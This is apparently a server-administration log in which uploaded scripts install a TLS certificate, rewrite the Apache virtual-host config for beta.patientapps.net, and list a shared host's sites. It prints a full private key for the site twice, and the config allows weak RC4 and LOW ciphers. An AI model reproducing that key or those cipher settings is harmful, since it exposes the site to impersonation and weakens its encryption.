725q6f5+qdysMTfBxtxAEXtlVKU8RjHFRewsfYGRxzcEItswhLEwmlJEgiOXB8AF
UC0cfnvxX1wtIJHrNIkyI2eNuCBAQbVP1PjLX5wkBOGHwXxCfvlcId0TpnL9wP+N
hoCPWrB2HOb7a3kMYavsUQdjW0WsKorUimc/JIOXUNyhM0liXwnoU8AsQ+6DZ46M
C7dW3XAVuF9nRb3I1C+Fca+BvjT3JLbajwj3xlubN8L/69wn8F8WQw0fiBH+38LQ
hqmYB/ibd3qjmudWRDCC6CgqbBY6KTZz8oNA1mqhfT0E/3GGL1DeqQ==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC7x1j3WCjEUgM+
5KOQuTwNWaJQaTORr2RJta8zTEFfnjQ1o6+xrXNYJ4R8of53JhbEbrne9A9KETWN
eOposljF1fhfD95jqulrZbAc1rWwtwOkICEFh5GaEq6j0W3MNBPthkCylurK+zJo
Iiym4sYZor/TMscdKcbKA0rwsEOkWx/6Zl16px8qEquWiTnEIY/pAiR8xkfyREL1
XdXqRHqc9wqQNAc+RyMUUejuBmtSo8R9+Wc/n4Jer0uZQf94ynxhOODbyRfC5sPY
Gkv6/kqIqbID6EWjDoWG13r0b15kEyxaNmK9MJahFhfnbKmpz0HIY3iW6kxKM6rQ
ZsDZoYYnAgMBAAECggEASklwGdJHtnsXi58aUlvltQZb32HvI9h2XW7CFBI73p8Q
2pOaIzmSYzKnCENyDyMDaMzBPcHh9pReUkyet7Kuyf1/V+RIP7fSxkkhZhdPI80T
ZK/NQInEgWaYrnhg7qM/qv0sxTpNQuYjp+y1K4SViHjJWL1C5nerjCnHUPb6m58+
jZ4XPQeWYQD8kb0nBnherYXgIVhiKWSTjUT6hTKckjt0K6VSs1/0Xa87ZHu2GoNR
pd1opxHM3pPREVnXJHFZP+wKeowHyGxHrGNVQtNdlreDnMfZuZL8QMLLX7FXx92r
D+YCmFAF7ZF2tuQOD8Qa8v4FCyMStFot2AzNddhgGQKBgQD3B0qc7KNgPmw43CL2
46HMSyzvslAIP1xRKEX2+woBXpHdVaks5gBlDDvYcdK1uUfMuL6QcNECq8qteXB1
/NC3pOgTyzdO/2QmKiynwfTpc87+id1AISZsJgOPMPir/NJH7BqxS3UIa0OE42ZN
yYfqqQtN63p0KW4seEZ7DxLoGwKBgQDCmTDGayvjkQYt+qG74pGVw2hH8ap/ElRr
Y7vWqI9NZ78sTzainBp4bKA/oDiKseG8z8tZGUpqpNsBB318WWcBmHNqNid/oiBC
5HOnOQ9g4hd4tuGdiAV8SZCCuvSGX6fyWMARjatrUet0IvjK62KYVBxXK3DQPpTz
nS/8npIS5QKBgAyX3ZDka2vDoua/KjUl46CzkGXj1DqnaEBm6jIuGBN7y7nZ3RcB
3rFID2D4ZIKJIITqQiTA65bURS/UygvpyIYkLQSdToODd4qOido/hAnGsp29T38u
cXP/+Bx7paG28M1j1vSE4UF9nmKO6S87/+bRmVbukz6KwigYNZeebBtTAoGBAMGz
oPRw63ALBJ6x81nFTmtH5j5u1OrGARggX3JtuK8xDP97HgRA5KxoXB7ZSk7sf6nl
ISHgZc2/qWvd28/yYfEZohDgNPL8G6baJjEXQDKM+xYi3HNlWSh9RYaLuCklgFRg
eVc/sJkUIw4oXYQHR84fM1KloBb5pGTWW1TXNsntAoGBAOjZmxphRnAZnW0vhCo5
Ir/pcBX+RdHNNhBnsGU/cQrwJ9NTXQ5yObPfDWof2tBbrCQe3+dej/K+t9TPYKOi
O8QGFfNayrPCsXC4foBJ8hQ542Ym4DlifZxZWIUva79HqFwgw50WuP7RNSicWorb
xiHBjMRKdjQ5LI2xYUV3PyqK
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-28 06:00:10:
chmod 755 /tmp/pkp443863; /tmp/pkp443863; rm /tmp/pkp443863
2025-11-28 06:00:10:
dir=/etc/ssl/certs
2025-11-28 06:00:10:
PUT: /tmp/pkp288002
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientapps_beta_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-28 06:00:10:
chmod 755 /tmp/pkp288002; /tmp/pkp288002; rm /tmp/pkp288002
2025-11-28 06:00:10:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_beta_net.conf 44
<VirtualHost *:80>
ServerName beta.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_beta
<Directory /var/www/patientapps_beta>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/beta_access.log combined
ErrorLog /var/log/apache2/patientapps/beta_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
SetEnv build beta
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName beta.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8
DocumentRoot /var/www/patientapps_beta
<Directory /var/www/patientapps_beta>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/beta_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/beta_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
SetEnv build beta
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
2025-11-28 06:00:10:
PUT: /tmp/pkp436799
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_beta_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_beta_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName beta.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_beta
<Directory /var/www/patientapps_beta>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/beta_access.log combined
ErrorLog /var/log/apache2/patientapps/beta_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
SetEnv build beta
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName beta.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8
DocumentRoot /var/www/patientapps_beta
<Directory /var/www/patientapps_beta>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/beta_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/beta_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
SetEnv build beta
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientapps_beta_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientapps_beta_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_beta_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_beta_net.conf= 1'
fi
2025-11-28 06:00:10:
chmod 755 /tmp/pkp436799; /tmp/pkp436799; rm /tmp/pkp436799
2025-11-28 06:00:10:
2025-11-28 06:00:10:
PUT: /tmp/pkp954706
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-28 06:00:10:
chmod 755 /tmp/pkp954706; /tmp/pkp954706; rm /tmp/pkp954706
2025-11-28 06:00:10:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-28 06:00:10: Establishing a connection
2025-11-28 06:00:10:
PUT: /tmp/pkp198453
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-28 06:00:11:
chmod 755 /tmp/pkp198453; /tmp/pkp198453; rm /tmp/pkp198453
2025-11-28 06:00:11:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
alias www.theyoungdesigners.com
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
alias www.theyoungdesigners.com
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-28 06:00:11:
PUT: /tmp/pkp244211
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientapps_beta_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-28 06:00:11:
chmod 755 /tmp/pkp244211; /tmp/pkp244211; rm /tmp/pkp244211
2025-11-28 06:00:11:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_beta_net.conf 1621
<VirtualHost *:80>
ServerName beta.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_beta
<Directory /var/www/patientapps_beta>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/beta_access.log combined
ErrorLog /var/log/apache2/patientapps/beta_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
SetEnv build beta
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName beta.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8
DocumentRoot /var/www/patientapps_beta
<Directory /var/www/patientapps_beta>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/beta_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/beta_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
SetEnv build beta
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
2025-11-28 06:00:11:
PUT: /tmp/pkp543486
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-28 06:00:11:
chmod 755 /tmp/pkp543486; /tmp/pkp543486; rm /tmp/pkp543486
2025-11-28 06:00:11:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8 5361
a3:23:22:ea:10:73:5d:ba:3d:df:27:36:79:b9:80:ff
-----BEGIN CERTIFICATE-----
MIIFBDCCA+ygAwIBAgISBVN3buV8iJBQpNNmoRs6wJZVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTI4MDUwMTM5WhcNMjYwMjI2MDUwMTM4WjAfMR0wGwYDVQQD
ExRiZXRhLnBhdGllbnRhcHBzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBALvHWPdYKMRSAz7ko5C5PA1ZolBpM5GvZEm1rzNMQV+eNDWjr7Gtc1gn
hHyh/ncmFsRuud70D0oRNY146miyWMXV+F8P3mOq6WtlsBzWtbC3A6QgIQWHkZoS
rqPRbcw0E+2GQLKW6sr7MmgiLKbixhmiv9Myxx0pxsoDSvCwQ6RbH/pmXXqnHyoS
q5aJOcQhj+kCJHzGR/JEQvVd1epEepz3CpA0Bz5HIxRR6O4Ga1KjxH35Zz+fgl6v
S5lB/3jKfGE44NvJF8Lmw9gaS/r+SoipsgPoRaMOhYbXevRvXmQTLFo2Yr0wlqEW
F+dsqanPQchjeJbqTEozqtBmwNmhhicCAwEAAaOCAiQwggIgMA4GA1UdDwEB/wQE
AwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIw
ADAdBgNVHQ4EFgQU5zq7lDSMl1P9Zv4/RzCmbkx+JmUwHwYDVR0jBBgwFoAUALUp
8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdo
dHRwOi8vcjEyLmkubGVuY3Iub3JnLzAfBgNVHREEGDAWghRiZXRhLnBhdGllbnRh
cHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1o
dHRwOi8vcjEyLmMubGVuY3Iub3JnLzg2LmNybDCCAQQGCisGAQQB1nkCBAIEgfUE
gfIA8AB1AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAABmskMK+4A
AAQDAEYwRAIgPYGuUjYB+6SoMNMeVJ8RgOmySoy4/QRONTCz27qc1dMCIDbKOf9S
YGriuHjyi5bP8w4LXuYCPF7t4cNMiAzn4ZAYAHcAyzj3FYl8hKFEX1vB3fvJbvKa
Wc1HCmkFhbDLFMMUWOcAAAGayQwsAAAABAMASDBGAiEAzYz0R4xeN4SgmI4TQg/V
Np2z1gFUs7LAeoXFafwql4sCIQCxHwgW4RvagZ6OKA8stsg5HwXHKpKsLc/Bfy66
7IR+jzANBgkqhkiG9w0BAQsFAAOCAQEAMnpYOu8nAIqNpS+WumIxtbpeL2ZVltAx
725q6f5+qdysMTfBxtxAEXtlVKU8RjHFRewsfYGRxzcEItswhLEwmlJEgiOXB8AF
UC0cfnvxX1wtIJHrNIkyI2eNuCBAQbVP1PjLX5wkBOGHwXxCfvlcId0TpnL9wP+N
hoCPWrB2HOb7a3kMYavsUQdjW0WsKorUimc/JIOXUNyhM0liXwnoU8AsQ+6DZ46M
C7dW3XAVuF9nRb3I1C+Fca+BvjT3JLbajwj3xlubN8L/69wn8F8WQw0fiBH+38LQ
hqmYB/ibd3qjmudWRDCC6CgqbBY6KTZz8oNA1mqhfT0E/3GGL1DeqQ==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC7x1j3WCjEUgM+
5KOQuTwNWaJQaTORr2RJta8zTEFfnjQ1o6+xrXNYJ4R8of53JhbEbrne9A9KETWN
eOposljF1fhfD95jqulrZbAc1rWwtwOkICEFh5GaEq6j0W3MNBPthkCylurK+zJo
Iiym4sYZor/TMscdKcbKA0rwsEOkWx/6Zl16px8qEquWiTnEIY/pAiR8xkfyREL1
XdXqRHqc9wqQNAc+RyMUUejuBmtSo8R9+Wc/n4Jer0uZQf94ynxhOODbyRfC5sPY
Gkv6/kqIqbID6EWjDoWG13r0b15kEyxaNmK9MJahFhfnbKmpz0HIY3iW6kxKM6rQ
ZsDZoYYnAgMBAAECggEASklwGdJHtnsXi58aUlvltQZb32HvI9h2XW7CFBI73p8Q
2pOaIzmSYzKnCENyDyMDaMzBPcHh9pReUkyet7Kuyf1/V+RIP7fSxkkhZhdPI80T
ZK/NQInEgWaYrnhg7qM/qv0sxTpNQuYjp+y1K4SViHjJWL1C5nerjCnHUPb6m58+
jZ4XPQeWYQD8kb0nBnherYXgIVhiKWSTjUT6hTKckjt0K6VSs1/0Xa87ZHu2GoNR
pd1opxHM3pPREVnXJHFZP+wKeowHyGxHrGNVQtNdlreDnMfZuZL8QMLLX7FXx92r
D+YCmFAF7ZF2tuQOD8Qa8v4FCyMStFot2AzNddhgGQKBgQD3B0qc7KNgPmw43CL2
46HMSyzvslAIP1xRKEX2+woBXpHdVaks5gBlDDvYcdK1uUfMuL6QcNECq8qteXB1
/NC3pOgTyzdO/2QmKiynwfTpc87+id1AISZsJgOPMPir/NJH7BqxS3UIa0OE42ZN
yYfqqQtN63p0KW4seEZ7DxLoGwKBgQDCmTDGayvjkQYt+qG74pGVw2hH8ap/ElRr
Y7vWqI9NZ78sTzainBp4bKA/oDiKseG8z8tZGUpqpNsBB318WWcBmHNqNid/oiBC
5HOnOQ9g4hd4tuGdiAV8SZCCuvSGX6fyWMARjatrUet0IvjK62KYVBxXK3DQPpTz
nS/8npIS5QKBgAyX3ZDka2vDoua/KjUl46CzkGXj1DqnaEBm6jIuGBN7y7nZ3RcB
3rFID2D4ZIKJIITqQiTA65bURS/UygvpyIYkLQSdToODd4qOido/hAnGsp29T38u
cXP/+Bx7paG28M1j1vSE4UF9nmKO6S87/+bRmVbukz6KwigYNZeebBtTAoGBAMGz
oPRw63ALBJ6x81nFTmtH5j5u1OrGARggX3JtuK8xDP97HgRA5KxoXB7ZSk7sf6nl
ISHgZc2/qWvd28/yYfEZohDgNPL8G6baJjEXQDKM+xYi3HNlWSh9RYaLuCklgFRg
eVc/sJkUIw4oXYQHR84fM1KloBb5pGTWW1TXNsntAoGBAOjZmxphRnAZnW0vhCo5
Ir/pcBX+RdHNNhBnsGU/cQrwJ9NTXQ5yObPfDWof2tBbrCQe3+dej/K+t9TPYKOi
O8QGFfNayrPCsXC4foBJ8hQ542Ym4DlifZxZWIUva79HqFwgw50WuP7RNSicWorb
xiHBjMRKdjQ5LI2xYUV3PyqK
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
